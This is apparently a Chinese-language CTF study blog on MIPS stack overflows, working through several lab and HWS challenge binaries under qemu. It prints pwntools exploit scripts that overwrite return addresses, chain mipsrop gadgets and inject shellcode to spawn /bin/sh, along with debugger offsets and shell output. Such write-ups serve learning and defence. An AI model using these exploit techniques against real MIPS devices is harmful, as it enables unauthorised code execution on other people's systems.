mips栈溢出
mips函数调用:x86函数调用时都是把范湖地址放在栈内,函数执行完再通过返回地址执行下一条指令,mips的函数调用和x86有些像又有些不像,在mips程序中,函数分为叶子函数和非叶子函数,对应数据结构中的树,叶子函数指不在调用函数的函数,非叶子函数指函数内部又调用了其他函数的函数,两种函数对返回值的处理是不一样的,当调用叶子函数时,会直接把返回地址储存在$ra寄存器中,调用非叶子函数时,$ra储存着函数的返回地址,在函数初始部分会直接把$ra的地址入栈,当执行完这个函数时再找到地址返回对应指令。
举例一
源代码
1 |
|
先进行编译
1 | mipsel-linux-gcc vuln -static(指静态绑定,不使用共享库) |
file查看一下
1 | rootzhang@rootzhang-virtual-machine:~/mipsshell$ file vuln |
可见成功编译
然后拖入ida查看他的汇编代码
main
1 | .text:00400490 addiu $sp, -0x20 |
刚进入main函数就对$sp进行了操作,这个$sp对应x86的rsp,储存着栈底的地址,第一条指令的操作就是开辟main函数的栈帧,由于main是非叶子函数所以得把$ra压入栈,第二条指令就是执行这个操作,当main函数指令完主要部分后就会执行lw $ra, 0x20+var_4($sp)
指令,这个指令就是把返回地址存入$ra中,最后jr $ra
进行跳转。
程序分析
程序中对输入值没有限制就直接放入has_stack函数的栈中,而has_stack函数又是非叶子函数,栈中储存着返回地址,只要确定输入的地址和储存返回地址的地址的差值就可以对返回地址进行准确覆盖了,可以直接通过ida确定,也可以让程序跑起来再确定
尝试攻击(确定填充量)
运行加调试
1 | qemu-misepl -g 1234 ./vuln "aaaaa" |
程序就开始运行并调试起来了
调试效果
1 | 08:0020│ 0x76ffef60 ◂— 'aaaaaaaa' |
可见buf和ra之间差28个字节
payload
1 | qemu-mipsel vuln `python -c "print 'a'*28+'\xb4\x03\x40\x00'"` |
举例二
源码
1 |
|
程序分析
会打开本地的passwd文件,不对文件内容做限制直接放进buf中,而main又是非叶子函数,返回地址保存在栈中,可以直接覆盖返回地址为后门函数的地址,但是后门函数里system的参数不是固定的,是后门函数的第二个参数,第二个参数的用寄存器$a1储存,所以得在调用前对$a1赋值才行,在x86里面都是用gadget完成参数构造,在mips里面也是,不过这次是用ida查找gadget
1 | mipsrop.stackfinder()----------------------------------------------------------------------------------------------------------------| Address | Action | Control Jump |----------------------------------------------------------------------------------------------------------------| 0x00401F90 | addiu $a1,$sp,0x58+var_40 | jr 0x58+var_4($sp) |---------------------------------------------------------------------------------------------------------------- |
这个gadget的地址是0x00401F90,通过其汇编可知可以通过栈来对$a1进行赋值,然后再 jr 0x58+var_4($sp) ,所以只要在对应位置填充对应值就行了。
攻击
本来打算把这个拖进ida直接看偏移量的,结果发现他反汇编出来的代码和源代码也相差太大了,于是放弃ida直接通过运行确定偏移量。
找到buf地址
1 | 08:0020│ 0x76ffedf8 ◂— 0x3c /* '<' */09:0024│ 0x76ffedfc —▸ 0x425908 ◂— move $t4, $zero /* 0x6025; '%`' */... ↓ 2 skipped0c:0030│ 0x76ffee08 ◂— 0x61616161 ('aaaa')... ↓ 3 skippedpwndbg> 10:0040│ 0x76ffee18 ◂— 0x61616161 ('aaaa') |
储存返回地址的地址是0x76ffedd8+0x1cc,算出
1 | offest=0x76ffedd8+0x1cc-0x76ffee08=0x19c |
可以得到payload
1 | payload='a'*0x19c+p32(gadget_addr)+'a'*0x18+'/bin/sh\x00'payload=payload.ljust(0x1a0+0x54,'a')payload=payload+p32(dock_addr) |
最终脚本
1 | from pwn import *gadget_addr=0x00401F90dock_addr=0x004003B0f=open("passwd","wb")payload='a'*0x19c+p32(gadget_addr)+'a'*0x18+'/bin/sh\x00'payload=payload.ljust(0x1a0+0x54,'a')payload=payload+p32(dock_addr)f.write(payload)f.close() |
得到shell
1 | rootzhang@rootzhang-virtual-machine:~/mipsshell/stady1$ qemu-mipsel ./vulnyou have an invalid password!$ lscore passwd pwnc.py vuln vuln.c vuln.id0 vuln.id1 vuln.nam vuln.til |
总结:gdb-multiarch调试的时候好像不能b+函数名,不然抓不到,得确切的地址才可以。
举例三 HWX mipspwn入门题
知识补充:mips一般都是堆栈可执行的,所以只要向堆栈中放入shellcode,然后利用返回地址跳到shellcode就行了(泄露栈地址),
源码
1 | int __cdecl main(int argc, const char **argv, const char **envp){ int v3; // $a2 int v5; // [sp+18h] [+18h] setbuf(stdin, 0, envp); setbuf(stdout, 0, v3); printf("\x1B[33m"); puts("-----we1c0me t0 MP l0g1n s7stem-----"); v5 = sub_400840(); sub_400978(v5); printf("\x1B[32m"); return puts("Now you getshell~");}int sub_400840(){ char v1[24]; // [sp+18h] [+18h] BYREF memset(v1, 0, sizeof(v1)); printf("\x1B[34m"); printf("Username : "); read(0, v1, 24); if ( strncmp(v1, "admin", 5) ) exit(0); printf("Correct name : %s", v1); return strlen(v1);}int __fastcall sub_400978(int a1){ char v2[20]; // [sp+18h] [+18h] BYREF int v3; // [sp+2Ch] [+2Ch] char v4[36]; // [sp+3Ch] [+3Ch] BYREF v3 = a1 + 4; printf("\x1B[31m"); printf("Pre_Password : "); read(0, v2, 36); printf("Password : "); read(0, v4, v3); if ( strncmp(v2, "access", 6) || strncmp(v4, "0123456789", 10) ) exit(0); return puts("Correct password : **********");} |
这道题漏洞比较明显,第一个函数泄露栈地址,第二个函数泄露填充shellocde然后调到这执行就行。
按道理来说这样就行了,把buf填满就能泄露处栈地址了,但是我发现我的栈地址最后是0x00,导致%s输出的时候会截断,然后我重试了很多次,发现栈地址最后都是0x00,最后破案了,我的qemu-mipsel没有开aslr,所以栈地址一直都是固定的,百度谷歌一顿查都说qemu的aslr默认关闭,但是没人告诉我怎么开,哎,那就当我泄露出来了继续做吧(反正栈地址不变)。
脚本
1 | from pwn import *context(arch='mips',endian='little')io = process(["qemu-mipsel","-L","./","./pwn"])#io = process(["qemu-mipsel",'-g','1234',"-L","./","./pwn"])io.sendafter("name : ","admin".ljust(0x18,'a'))io.recvuntil("Correct name : ");sp=0x76fff000io.sendafter('Pre_Password : ',"access".ljust(20,'a')+p32(0x100))io.sendafter('Password : ','0123456789'.ljust(0x28,'a')+p32(sp)+asm(shellcraft.sh()))io.interactive() |
效果
1 | rootzhang@rootzhang-virtual-machine:~/mipsshell/HWS/pwn1/Mplogin/Mplogin$ python pwnc.py[+] Starting local process '/usr/bin/qemu-mipsel': pid 16096[*] Switching to interactive modeCorrect password : **********$ lscore lib pwn pwnc.py qemu_pwn_20220117-133618_15898.core |
举例三 HWX mipspwn入门题二
这道题是mips大端程序,不知道为啥我的gdb-multiarch老是爆段错误,查了好半天也没查出来啥问题,我看别人调试mips大端也是我这样调试的啊,奇了怪了,本来想通过调试找到到ra的偏移量的,不过一个一个输也能找见,那就这样把,别的师傅找到离ra的偏移量是0x90,直接拿来用就行(mips环境好司马)
这道题和上道题有些像又有些不像,两道题都是直接shellcode,不过上道题直接shellcode的地址,这道题不知道,只知道shellcode离sp的偏移量,就不能直接通过ra直接跳到shellcode执行了,得通过gadget间接跳转到这里才行
ida的mipsrop
1 | mipsrop.stackfinder()----------------------------------------------------------------------------------------------------------------| Address | Action | Control Jump |----------------------------------------------------------------------------------------------------------------| 0x004273C4 | addiu $a2,$sp,0x98+var_34 | jalr $s0 || 0x0042BCD0 | addiu $a2,$sp,0xB0+var_34 | jalr $s2 || 0x0042FA00 | addiu $v1,$sp,0x160+var_12C | jalr $s1 || 0x004491F8 | addiu $a2,$sp,0x60+var_28 | jalr $s1 || 0x0044931C | addiu $v0,$sp,0x48+var_20 | jalr $s1 || 0x00449444 | addiu $a2,$sp,0x60+var_28 | jalr $s1 || 0x0044AD58 | addiu $a1,$sp,0x78+var_40 | jalr $s4 || 0x0044AEFC | addiu $a1,$sp,0x80+var_44 | jalr $s5 || 0x0044B154 | addiu $a1,$sp,0x80+var_4C | jalr $s2 || 0x0044B1EC | addiu $v0,$sp,0x80+var_54 | jalr $s2 || 0x0044B3EC | addiu $v0,$sp,0x198+var_158 | jalr $s0 || 0x00454E94 | addiu $s7,$sp,0xE0+var_C0 | jalr $s3 || 0x00465BEC | addiu $a1,$sp,0xE8+var_BC | jalr $s0 |---------------------------------------------------------------------------------------------------------------- |
这些都是程序自带的gadget了
程序最后是这样处理s寄存器的
1 | move $sp, $fp.text:00400A30 lw $ra, 0x58+var_s24($sp).text:00400A34 lw $fp, 0x58+var_s20($sp).text:00400A38 lw $s7, 0x58+var_s1C($sp).text:00400A3C lw $s6, 0x58+var_s18($sp).text:00400A40 lw $s5, 0x58+var_s14($sp).text:00400A44 lw $s4, 0x58+var_s10($sp).text:00400A48 lw $s3, 0x58+var_sC($sp).text:00400A4C lw $s2, 0x58+var_s8($sp).text:00400A50 lw $s1, 0x58+var_s4($sp).text:00400A54 lw $s0, 0x58+var_s0($sp).text:00400A58 addiu $sp, 0x80.text:00400A5C jr $ra.text:00400A60 nop.text:00400A60 # End of function pwn |
这些地方都可以溢出到,所以可以控制s0-s7的寄存器的值,那前面的那些gadget都能拿来用,我们直接使用第一个。
把shellcode存在$sp,0x98+var_34上,然后把ra覆盖成第一个gadget的地址,那就会把shellcode的地址给$a2,然后跳转到$s0执行代码,$s0是可控的,我们还可以填充一个跳转到$s2的gadget,最后就顺利执行shellcode代码了。
那怎么找第二个gadget呢,在mips中一般是通过$t9完成间接跳转的,可以在ida中这样搜索gadget
1 | mipsrop.find("move $t9,$a2")----------------------------------------------------------------------------------------------------------------| Address | Action | Control Jump |----------------------------------------------------------------------------------------------------------------| 0x00421684 | move $t9,$a2 | jr $a2 |---------------------------------------------------------------------------------------------------------------- |
这个gadget的意思是把$a2的值赋值给$t9,然后跳转到$a2执行代码。
思路滤好了,就可以开始着手写代码了。
1 | from pwn import *context(arch='mips',endian='big',log_level='debug')io = process(["qemu-mips","./pwn"])io.sendlineafter("number:","1")ra = 0x004273C4 # move sp+0x64 to a2 -> jmp s0s0 = 0x00421684 # jmp a2 payload = '1:'payload += 'a'*0x6c + p32(s0) + 'a'*0x20 + p32(ra)payload += 'a'*0x64 + asm(shellcraft.sh())io.sendlineafter("Job.'",payload)io.interactive() |
总结:mips一般通过shellcode得到shell,跳转到shellcode不是知道地址直接跳就是通过几个gadget跳。能泄露栈地址就选第一个,不能泄露就选第二个。
最近mips给我整恶心了🤢,打算放mips先不搞mips了,先去复现一些x86的题目了。